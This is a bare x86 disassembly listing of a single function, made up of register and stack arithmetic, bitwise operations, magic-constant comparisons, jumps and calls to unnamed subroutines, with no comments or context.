mov dword [ebp - 0x5070], ecx
cmp dword [ebp - 0x5070], 1
je 0x424d91
cmp dword [ebp - 0x5070], 0x54ed
je 0x424d42
jmp 0x580b84
mov edx, dword [0x5a9b60]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x140]
add eax, ecx
mov edx, dword [0x5a9b60]
mov byte [edx], al
mov eax, dword [ebp - 0x4fa0]
mov ecx, dword [ebp - 0x4fcc]
mov edx, dword [eax]
add edx, dword [ecx]
mov dword [ebp - 0x4ff0], edx
movzx eax, word [ebp - 0x12f4]
push eax
mov ecx, dword [ebp - 0x5024]
movzx edx, byte [ecx]
push edx
call fcn.00581f00
add esp, 8
jmp 0x580b84
mov eax, dword [ebp - 0x4f7c]
mov ecx, dword [ebp - 0x5060]
sar eax, cl
mov dword [ebp - 0x4fe8], eax
mov ecx, dword [ebp - 0x4fd4]
mov edx, dword [ecx]
mov dword [ebp - 0x5074], edx
movzx eax, word [ebp - 0x1300]
movzx ecx, word [ebp - 0x1308]
or eax, ecx
mov word [ebp - 0x12f4], ax
mov edx, dword [ebp - 0x4fdc]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x17d]
xor eax, ecx
mov byte [ebp - 0x17b], al
mov edx, dword [ebp - 0x4fa0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x4ff0]
shl eax, cl
mov ecx, dword [ebp - 0x4fb0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5014]
sub edx, 0xa7
mov dword [ebp - 0x5014], edx
mov eax, dword [ebp - 0x4fc0]
mov ecx, dword [ebp - 0x4fd4]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x5060], edx
movsx eax, byte [ebp - 0x17e]
movsx ecx, byte [ebp - 0x140]
add eax, ecx
mov edx, dword [ebp - 0x5068]
mov byte [edx], al
movsx eax, byte [0x5a8004]
mov ecx, dword [ebp - 0x5068]
movsx edx, byte [ecx]
sub eax, edx
mov ecx, dword [0x5a9b60]
mov byte [ecx], al
movzx edx, byte [ebp - 0x17f]
movzx eax, byte [ebp - 0x17b]
add edx, eax
mov byte [ebp - 0x17d], dl
movzx ecx, word [ebp - 0x12fc]
movzx edx, word [ebp - 0x1300]
add ecx, edx
mov eax, dword [ebp - 0x5034]
mov word [eax], cx
mov ecx, dword [ebp - 0x4fcc]
mov edx, dword [ecx]
and edx, dword [ebp - 0x4f60]
mov dword [ebp - 0x4ff0], edx
mov eax, dword [ebp - 0x4fd4]
mov ecx, dword [ebp - 0x4fe4]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x5074], edx
mov eax, dword [ebp - 0x4fd4]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x4f7c]
mov dword [ebp - 0x4fe8], ecx
mov edx, dword [ebp - 0x4fb0]
mov eax, dword [ebp - 0x4f60]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x4fa0]
mov dword [ecx], eax
mov edx, dword [0x5a9b64]
sub edx, dword [ebp - 0x5060]
mov dword [ebp - 0x4fb4], edx
movzx eax, word [ebp - 0x1304]
mov ecx, dword [ebp - 0x5034]
movzx edx, word [ecx]
xor eax, edx
mov word [ebp - 0x1300], ax
movsx eax, byte [ebp - 0x17c]
mov ecx, dword [0x5a9b60]
movsx edx, byte [ecx]
or eax, edx
mov byte [0x5a8004], al
mov eax, dword [ebp - 0x4fd4]
mov ecx, dword [ebp - 0x4fe4]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp - 0x4fb4], edx
mov eax, dword [ebp - 0x4fa0]
mov edx, dword [ebp - 0x4ff0]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x4f60], edx
mov eax, dword [ebp - 0x4fe8]
and eax, dword [ebp - 0x4f7c]
mov dword [ebp - 0x5074], eax
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [ebp - 0x4fd4]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x4fe4]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x17d]
mov eax, dword [ebp - 0x5024]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x4fdc]
mov byte [eax], dl
movzx ecx, word [ebp - 0x12fc]
movzx edx, word [ebp - 0x1300]
add ecx, edx
mov eax, dword [ebp - 0x5034]
mov word [eax], cx
movsx ecx, byte [ebp - 0x140]
movsx edx, byte [ebp - 0x17e]
sub ecx, edx
mov byte [ebp - 0x17c], cl
mov eax, dword [ebp - 0x5010]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x1208]
add ecx, edx
mov eax, dword [ebp - 0x5010]
mov word [eax], cx
movsx ecx, byte [ebp - 0x140]
movsx edx, byte [ebp - 0x17e]
and ecx, edx
mov eax, dword [0x5a9b60]
mov byte [eax], cl
mov ecx, dword [ebp - 0x4fe4]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x4f7c]
mov eax, dword [ebp - 0x4fd4]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x17b]
movzx edx, byte [ebp - 0x17d]
add ecx, edx
mov eax, dword [ebp - 0x5024]
mov byte [eax], cl
movzx ecx, word [ebp - 0x12f4]
mov edx, dword [ebp - 0x5034]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0x1304], cx
mov ecx, dword [ebp - 0x4fcc]
mov edx, dword [ebp - 0x4ff0]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0x4f60], edx
mov eax, dword [ebp - 0x4fe4]
mov ecx, dword [ebp - 0x4f7c]
or ecx, dword [eax]
mov dword [ebp - 0x5060], ecx
mov edx, dword [ebp - 0x4fd4]
mov eax, dword [ebp - 0x4fc0]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov dword [ebp - 0x5074], ecx
mov edx, dword [ebp - 0x501c]
mov eax, dword [ebp - 0x4ff0]
mov ecx, dword [edx]
shr eax, cl
mov dword [ebp - 0x4f60], eax
movzx ecx, word [ebp - 0x12f4]
mov edx, dword [ebp - 0x5034]
movzx eax, word [edx]
and ecx, eax
mov word [ebp - 0x12fc], cx
cmp dword [ebp - 0x5014], 0xf1f5
ja 0x424db3
lea ecx, [ebp - 0x4f7c]
mov dword [0x5a9b68], ecx
mov edx, dword [ebp - 0x4fdc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x5024]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x17b], al
mov eax, dword [ebp - 0x4fe8]
add eax, dword [ebp - 0x4f7c]
mov dword [ebp - 0x5074], eax
mov ecx, dword [ebp - 0x4fe4]
mov edx, dword [0x5a9b64]
sub edx, dword [ecx]
mov dword [ebp - 0x5060], edx
mov eax, dword [ebp - 0x501c]
mov ecx, dword [ebp - 0x4ff0]
sub ecx, dword [eax]
mov dword [ebp - 0x4f60], ecx
mov edx, dword [0x5a9b68]
mov eax, dword [ebp - 0x4fc0]
mov ecx, dword [edx]
add ecx, dword [eax]
mov dword [ebp - 0x4fb4], ecx
mov edx, dword [ebp - 0x4fd4]
mov eax, dword [ebp - 0x4fe4]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x4fe8], ecx
movsx edx, word [ebp - 0x1208]
mov eax, dword [ebp - 0x5010]
movsx ecx, word [eax]
and edx, ecx
mov word [ebp - 0x130c], dx
movsx edx, byte [ebp - 0x17a]
mov eax, dword [ebp - 0x5050]
movsx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x5068]
mov byte [eax], dl
movsx ecx, byte [ebp - 0x17c]
movsx edx, byte [ebp - 0x140]
xor ecx, edx
mov byte [0x5a8004], cl
movzx eax, word [ebp - 0x1300]
mov ecx, dword [ebp - 0x5034]
movzx ecx, word [ecx]
sar eax, cl
mov word [ebp - 0x1304], ax
mov edx, dword [ebp - 0x4fa0]
mov eax, dword [ebp - 0x4fcc]
mov ecx, dword [edx]
or ecx, dword [eax]
mov dword [ebp - 0x4f60], ecx
mov edx, dword [0x5a9b68]
mov eax, dword [ebp - 0x4fe4]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x5060], edx
mov eax, dword [ebp - 0x5034]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x1308]
sub ecx, edx
mov eax, dword [ebp - 0x5034]
mov word [eax], cx
mov ecx, dword [ebp - 0x4fdc]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x17b]
and edx, eax
mov ecx, dword [ebp - 0x5024]
mov byte [ecx], dl
mov edx, dword [ebp - 0x4fcc]
mov eax, dword [ebp - 0x4ff0]
sub eax, dword [edx]
mov dword [ebp - 0x4f60], eax
mov ecx, dword [ebp - 0x4fe4]
mov edx, dword [0x5a9b64]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x4fd4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [ecx]
add edx, dword [ebp - 0x4fb4]
mov dword [ebp - 0x4fe8], edx
mov eax, dword [0x5a9b60]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x17e]
add ecx, edx
mov byte [0x5a8004], cl
movzx eax, word [ebp - 0x12f4]
movzx ecx, word [ebp - 0x1304]
add eax, ecx
mov edx, dword [ebp - 0x5034]
mov word [edx], ax
movzx eax, byte [ebp - 0x17f]
movzx ecx, byte [ebp - 0x17b]
sub eax, ecx
mov edx, dword [ebp - 0x5024]
mov byte [edx], al
mov eax, dword [ebp - 0x4fe4]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x4f7c]
mov dword [ebp - 0x4fe8], ecx
mov edx, dword [ebp - 0x4fd4]
mov eax, dword [edx]
and eax, dword [ebp - 0x4f7c]
mov dword [ebp - 0x5074], eax
movsx ecx, word [ebp - 0x130c]
movsx edx, word [ebp - 0x12f8]
or ecx, edx
mov eax, dword [ebp - 0x5010]
mov word [eax], cx
movsx edx, byte [ebp - 0x140]
mov eax, dword [ebp - 0x5068]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x17e], dl
movzx ecx, word [ebp - 0x1300]
movzx edx, word [ebp - 0x1304]
xor ecx, edx
mov word [ebp - 0x1308], cx
mov eax, dword [ebp - 0x5024]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0x17b]
sar edx, cl
mov byte [ebp - 0x17f], dl
movsx eax, byte [ebp - 0x140]
mov ecx, dword [ebp - 0x5068]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [0x5a9b60]
mov byte [ecx], al
mov edx, dword [ebp - 0x4fa0]
mov eax, dword [ebp - 0x4fb0]
mov ecx, dword [edx]
add ecx, dword [eax]
mov dword [ebp - 0x4ff0], ecx
mov edx, dword [ebp - 0x4fc0]
mov eax, dword [ebp - 0x4fd4]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp - 0x5074], ecx
mov edx, dword [ebp - 0x4fd4]
mov eax, dword [ebp - 0x4fe4]
mov ecx, dword [edx]
add ecx, dword [eax]
mov dword [ebp - 0x5060], ecx
mov edx, dword [ebp - 0x5074]
add edx, dword [ebp - 0x4fe8]
mov eax, dword [ebp - 0x4fc0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5034]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x12fc]
sub edx, eax
mov ecx, dword [ebp - 0x5034]
mov word [ecx], dx
mov edx, dword [ebp - 0x4fdc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x5024]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x17d], al
mov eax, dword [ebp - 0x4fcc]
mov ecx, dword [ebp - 0x501c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x4fb0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4f8c]
sub ecx, 0xc7
mov dword [ebp - 0x4f8c], ecx
mov edx, dword [ebp - 0x4fd4]
mov eax, dword [edx]
sub eax, dword [ebp - 0x4fb4]
mov ecx, dword [ebp - 0x4fc0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4fc0]
mov eax, dword [edx]
sub eax, dword [ebp - 0x5074]
mov dword [ebp - 0x4fb4], eax
mov ecx, dword [ebp - 0x5050]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x140]
sub edx, eax
mov ecx, dword [0x5a9b60]
mov byte [ecx], dl
mov edx, dword [ebp - 0x5034]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x12fc]
sar eax, cl
mov word [ebp - 0x1308], ax
cmp dword [ebp - 0x4f8c], 0xb511
jae 0x4250d8
mov ecx, dword [ebp - 0x5024]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x4fdc]
movzx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 0x17b], dl
mov edx, dword [ebp - 0x5068]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x17e]
xor eax, ecx
mov byte [ebp - 0x17c], al
mov edx, dword [ebp - 0x5010]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x12f8]
shl eax, cl
mov ecx, dword [ebp - 0x5010]
mov word [ecx], ax
mov edx, dword [ebp - 0x4fcc]
mov eax, dword [edx]
and eax, dword [ebp - 0x4f60]
mov ecx, dword [ebp - 0x4fcc]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4fd4]
mov eax, dword [ebp - 0x4fe8]
add eax, dword [edx]
mov dword [ebp - 0x4fb4], eax
mov ecx, dword [ebp - 0x5034]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x1308]
sub edx, eax
mov ecx, dword [ebp - 0x5034]
mov word [ecx], dx
movzx edx, byte [ebp - 0x17f]
movzx eax, byte [ebp - 0x17d]
and edx, eax
mov byte [ebp - 0x17b], dl
mov ecx, dword [ebp - 0x5074]
sub ecx, dword [0x5a9b64]
mov edx, dword [0x5a9b68]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fb0]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x4f60]
mov dword [ebp - 0x4ff0], ecx
mov edx, dword [ebp - 0x5074]
add edx, dword [ebp - 0x4fb4]
mov dword [ebp - 0x4f7c], edx
mov eax, dword [ebp - 0x4f7c]
add eax, dword [ebp - 0x5060]
mov dword [ebp - 0x4fe8], eax
mov ecx, dword [ebp - 0x5034]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x12f4]
add edx, eax
mov ecx, dword [ebp - 0x5034]
mov word [ecx], dx
mov edx, dword [ebp - 0x4fdc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x5024]
movzx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0x17b], al
mov eax, dword [ebp - 0x4f9c]
sub eax, 0x2e
mov dword [ebp - 0x4f9c], eax
mov ecx, dword [ebp - 0x4fb0]
mov edx, dword [ebp - 0x501c]
mov eax, dword [ecx]
mov ecx, dword [edx]
shr eax, cl
mov ecx, dword [ebp - 0x4fb0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4fe4]
mov eax, dword [0x5a9b64]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x4fd4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4fc0]
mov eax, dword [ebp - 0x4fd4]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x4fe4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [0x5a9b68]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [0x5a9b64], eax
mov ecx, dword [ebp - 0x4fe4]
mov edx, dword [ebp - 0x4f7c]
sub edx, dword [ecx]
mov dword [ebp - 0x4fb4], edx
mov eax, dword [ebp - 0x5050]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x5068]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x17a], cl
movsx ecx, word [ebp - 0x130c]
movsx edx, word [ebp - 0x1208]
sub ecx, edx
mov eax, dword [ebp - 0x5010]
mov word [eax], cx
mov ecx, dword [ebp - 0x5034]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x1300]
add edx, eax
mov ecx, dword [ebp - 0x5034]
mov word [ecx], dx
movzx edx, byte [ebp - 0x17d]
mov eax, dword [ebp - 0x4fdc]
movzx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x17f], dl
mov edx, dword [ebp - 0x4fcc]
mov eax, dword [edx]
add eax, dword [ebp - 0x4f60]
mov ecx, dword [ebp - 0x4fa0]
mov dword [ecx], eax
cmp dword [ebp - 0x4f9c], 0xf671
ja 0x42544d
mov edx, dword [ebp - 0x5034]
movzx eax, word [edx]
mov dword [ebp - 0x5078], eax
cmp dword [ebp - 0x5078], 0x62f
je 0x4256af
cmp dword [ebp - 0x5078], 0xcdd
je 0x425724
jmp 0x42580f
mov cl, byte [ebp - 0x17b]
mov byte [ebp - 0x507c], cl
cmp byte [ebp - 0x507c], 0x6f
je 0x425705
cmp byte [ebp - 0x507c], 0xcf
je 0x4256cf
jmp 0x42571f
mov edx, dword [ebp - 0x4fcc]
mov eax, dword [ebp - 0x4f60]
add eax, dword [edx]
mov dword [ebp - 0x4ff0], eax
mov ecx, dword [ebp - 0x4ff0]
push ecx
mov edx, dword [ebp - 0x5034]
movzx eax, word [edx]
push eax
mov ecx, dword [ebp - 0x4f7c]
push ecx
call fcn.00581290
add esp, 0xc
jmp 0x42571f
movzx edx, byte [ebp - 0x17f]
mov eax, dword [ebp - 0x4fdc]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x5024]
mov byte [eax], dl
jmp 0x42580f
mov ecx, dword [ebp - 0x4fe4]
mov edx, dword [ebp - 0x4fc0]
mov eax, dword [ecx]
add eax, dword [edx]
mov dword [0x5a9b64], eax
mov ecx, dword [ebp - 0x5034]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0x1300]
sar edx, cl
movzx eax, word [ebp - 0x12f4]
movzx ecx, word [ebp - 0x12fc]
xor eax, ecx
cmp edx, eax
jne 0x42577a
mov edx, dword [ebp - 0x4fb4]
mov ecx, dword [ebp - 0x5074]
shl edx, cl
mov eax, dword [ebp - 0x4fe4]
mov dword [eax], edx
jmp 0x42580f
movsx ecx, byte [ebp - 0x140]
mov edx, dword [0x5a9b60]
movsx eax, byte [edx]
or ecx, eax
movsx eax, byte [ebp - 0x17a]
movsx esi, byte [ebp - 0x17e]
cdq
idiv esi
cmp ecx, eax
jl 0x42580f
mov ecx, dword [ebp - 0x4f60]
mov dword [ebp - 0x5080], ecx
cmp dword [ebp - 0x5080], 0x48d372bc
je 0x4257c7
cmp dword [ebp - 0x5080], 0xf55be08c
je 0x425809
jmp 0x42580f
mov edx, dword [ebp - 0x4fa0]
mov eax, dword [ebp - 0x4fb0]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp - 0x4f60], ecx
mov edx, dword [0x5a9b68]
mov eax, dword [ebp - 0x4f7c]
add eax, dword [edx]
mov ecx, dword [ebp - 0x4fc0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4fd4]
mov eax, dword [edx]
sub eax, dword [ebp - 0x5074]
mov dword [ebp - 0x4fb4], eax
jmp 0x42580f
call fcn.005816b0
nop
movzx ecx, byte [ebp - 0x17d]
mov edx, dword [ebp - 0x4fdc]
movzx eax, byte [edx]
add ecx, eax
movzx edx, byte [ebp - 0x17f]
movzx eax, byte [ebp - 0x17b]
add edx, eax
cmp ecx, edx
jge 0x42591b
movzx ecx, word [ebp - 0x12fc]
movzx edx, word [ebp - 0x1304]
sub ecx, edx
mov eax, dword [ebp - 0x5034]
mov word [eax], cx
mov ecx, dword [ebp - 0x4fdc]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x5024]
movzx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x17f], dl
mov edx, dword [ebp - 0x4fd4]
mov eax, dword [edx]
mov dword [ebp - 0x5084], eax
cmp dword [ebp - 0x5084], 0x68dee973
je 0x425888
jmp 0x425907
mov ecx, dword [ebp - 0x5034]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x12fc]
sub edx, eax
movzx ecx, word [ebp - 0x1304]
movzx eax, word [ebp - 0x12f4]
sub ecx, eax
cmp edx, ecx
jl 0x4258cd
mov ecx, dword [ebp - 0x4fa0]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x5024]
mov dl, byte [eax]
mov cl, byte [ebp - 0x17d]
call fcn.00581890
nop
jmp 0x425905
mov edx, dword [ebp - 0x4ff0]
add edx, dword [ebp - 0x4f60]
mov eax, dword [ebp - 0x4fa0]
mov ecx, dword [ebp - 0x4fcc]
mov eax, dword [eax]
mov ecx, dword [ecx]
shl eax, cl
cmp edx, eax
jae 0x425905
mov ecx, dword [ebp - 0x4fb0]
mov edx, dword [ecx]
or edx, dword [ebp - 0x4ff0]
mov eax, dword [ebp - 0x4fb0]
mov dword [eax], edx
jmp 0x42591b
mov ecx, dword [ebp - 0x4fd4]
mov edx, dword [0x5a9b64]
xor edx, dword [ecx]
mov dword [ebp - 0x5060], edx
cmp dword [ebp - 0x5020], 0x14e0
jae 0x425b2a
mov eax, dword [ebp - 0x5020]
add eax, 0xf9
mov dword [ebp - 0x5020], eax
mov ecx, dword [ebp - 0x5068]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x17e]
sar edx, cl
mov byte [ebp - 0x17a], dl
movsx eax, word [ebp - 0x1208]
movsx ecx, word [ebp - 0x12f8]
and eax, ecx
mov word [ebp - 0x130c], ax
movzx edx, byte [ebp - 0x17b]
mov eax, dword [ebp - 0x5024]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x17f], dl
mov edx, dword [ebp - 0x5034]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1308]
add eax, ecx
mov edx, dword [ebp - 0x5034]
mov word [edx], ax
mov eax, dword [ebp - 0x4fa0]
mov ecx, dword [ebp - 0x501c]
mov edx, dword [eax]
add edx, dword [ecx]
mov eax, dword [ebp - 0x4fa0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [ecx]
sub edx, dword [0x5a9b64]
mov eax, dword [ebp - 0x4fe4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [ebp - 0x4fd4]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x4fb4], eax
mov ecx, dword [ebp - 0x4fa0]
mov edx, dword [ecx]
add edx, dword [ebp - 0x4f60]
mov dword [ebp - 0x4ff0], edx
mov eax, dword [ebp - 0x4fe4]
mov ecx, dword [ebp - 0x4fd4]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [0x5a9b68]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x17b]
movzx edx, byte [ebp - 0x17f]
sub ecx, edx
mov eax, dword [ebp - 0x4fdc]
mov byte [eax], cl
movzx ecx, word [ebp - 0x1308]
movzx edx, word [ebp - 0x12f4]
or ecx, edx
mov eax, dword [ebp - 0x5034]
mov word [eax], cx
mov ecx, dword [ebp - 0x4fd4]
mov edx, dword [ebp - 0x4fe4]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x4fd4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x501c]
mov eax, dword [ebp - 0x4ff0]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x4f60], eax
mov edx, dword [ebp - 0x5074]
mov ecx, dword [ebp - 0x5060]
sar edx, cl
mov dword [ebp - 0x4fb4], edx
mov eax, dword [ebp - 0x4fe4]
mov ecx, dword [0x5a9b68]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x4fe4]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x17b]
movzx edx, byte [ebp - 0x17f]
and ecx, edx
mov byte [ebp - 0x17d], cl
movzx eax, word [ebp - 0x1308]
movzx ecx, word [ebp - 0x12f4]
add eax, ecx
mov edx, dword [ebp - 0x5034]
mov word [edx], ax
mov eax, dword [0x5a9b60]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x5068]
movsx eax, byte [edx]
add ecx, eax
mov byte [0x5a8004], cl
movsx ecx, word [ebp - 0x120c]
mov edx, dword [ebp - 0x5010]
movsx eax, word [edx]
sub ecx, eax
mov word [ebp - 0x12f8], cx
mov ecx, dword [ebp - 0x4fb0]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x4ff0]
mov eax, dword [ebp - 0x501c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [ebp - 0x5074]
add edx, dword [ecx]
mov eax, dword [ebp - 0x4fd4]
mov dword [eax], edx
jmp 0x42591b
mov ecx, dword [ebp - 0x5034]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x12fc]
sub edx, eax
mov word [ebp - 0x12f4], dx
mov dword [ebp - 0x5088], 0xfb55
lea ecx, [ebp - 0x17b]
mov dword [ebp - 0x508c], ecx
movzx edx, word [ebp - 0x1308]
mov dword [ebp - 0x5090], edx
cmp dword [ebp - 0x5090], 0x269
je 0x425b74
jmp 0x425b95
mov eax, dword [ebp - 0x4fcc]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x4fdc]
mov dl, byte [edx]
mov eax, dword [ebp - 0x5024]
mov cl, byte [eax]
call fcn.00581890
nop
jmp 0x425bed
mov ecx, dword [ebp - 0x4fcc]
mov edx, dword [ecx]
mov dword [ebp - 0x5094], edx
mov eax, dword [ebp - 0x4fe4]
mov ecx, dword [eax]
mov dword [ebp - 0x5098], ecx
mov edx, dword [ebp - 0x4fe4]
mov eax, dword [edx]
add eax, dword [ebp - 0x4fe8]
mov dword [ebp - 0x4fb4], eax
mov ecx, dword [ebp - 0x4f60]
mov dword [ebp - 0x509c], ecx
mov edx, dword [ebp - 0x4fdc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x5024]
movzx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x508c]
mov byte [ecx], al
cmp dword [ebp - 0x5088], 0xe3d1
jbe 0x425d39
movzx edx, word [ebp - 0x1308]
movzx eax, word [ebp - 0x1304]
xor edx, eax
mov ecx, dword [ebp - 0x5034]
mov word [ecx], dx
mov edx, dword [0x5a9b64]
or edx, dword [ebp - 0x4f7c]
mov eax, dword [ebp - 0x4fe4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [ebp - 0x4fd4]
mov eax, dword [ecx]
mov ecx, dword [edx]
sar eax, cl
mov dword [ebp - 0x5060], eax
mov ecx, dword [ebp - 0x501c]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x5094]
shl edx, cl
mov dword [ebp - 0x509c], edx
mov eax, dword [ebp - 0x4fc0]
mov ecx, dword [ebp - 0x4fe8]
sub ecx, dword [eax]
mov dword [ebp - 0x4f7c], ecx
mov edx, dword [ebp - 0x5088]
sub edx, 0xd7
mov dword [ebp - 0x5088], edx
mov eax, dword [ebp - 0x5060]
sub eax, dword [0x5a9b64]
mov dword [ebp - 0x4f7c], eax
movsx ecx, byte [ebp - 0x140]
mov edx, dword [ebp - 0x5050]
movsx eax, byte [edx]
and ecx, eax
mov byte [0x5a8004], cl
mov ecx, dword [ebp - 0x5068]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x5050]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x17c], dl
movzx edx, byte [ebp - 0x17b]
mov eax, dword [ebp - 0x508c]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x17d], dl
mov edx, dword [ebp - 0x5034]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1308]
sub eax, ecx
mov word [ebp - 0x12fc], ax
mov edx, dword [ebp - 0x4fcc]
mov eax, dword [ebp - 0x509c]
add eax, dword [edx]
mov dword [ebp - 0x4f60], eax
mov ecx, dword [ebp - 0x4fb4]
add ecx, dword [ebp - 0x4fe8]
mov dword [ebp - 0x5060], ecx
mov edx, dword [ebp - 0x5034]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1304]
add eax, ecx
mov edx, dword [ebp - 0x5034]
mov word [edx], ax
jmp 0x425bed
cmp dword [ebp - 0x4f94], 0x9557
ja 0x426094
movzx eax, byte [ebp - 0x17f]
movzx ecx, byte [ebp - 0x17d]
sub eax, ecx
mov byte [ebp - 0x17b], al
mov edx, dword [ebp - 0x4fcc]
mov eax, dword [ebp - 0x4fb0]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x5094], ecx
mov edx, dword [ebp - 0x4fd4]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x4fb4]
sar eax, cl
mov dword [0x5a9b64], eax
mov ecx, dword [ebp - 0x4fe4]
mov edx, dword [ebp - 0x4fd4]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x4fe8], eax
mov ecx, dword [ebp - 0x4ff0]
xor ecx, dword [ebp - 0x5094]
mov edx, dword [ebp - 0x501c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fdc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x17f]
or ecx, edx
mov eax, dword [ebp - 0x4fdc]
mov byte [eax], cl
mov ecx, dword [ebp - 0x5034]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x1308]
and edx, eax
mov word [ebp - 0x1300], dx
mov ecx, dword [ebp - 0x5060]
add ecx, dword [ebp - 0x4fb4]
mov dword [ebp - 0x5074], ecx
mov edx, dword [ebp - 0x4fc0]
mov eax, dword [edx]
add eax, dword [ebp - 0x4fe8]
mov dword [ebp - 0x5098], eax
mov ecx, dword [0x5a9b60]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x5068]
movsx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x17e], dl
mov edx, dword [ebp - 0x5010]
movsx eax, word [edx]
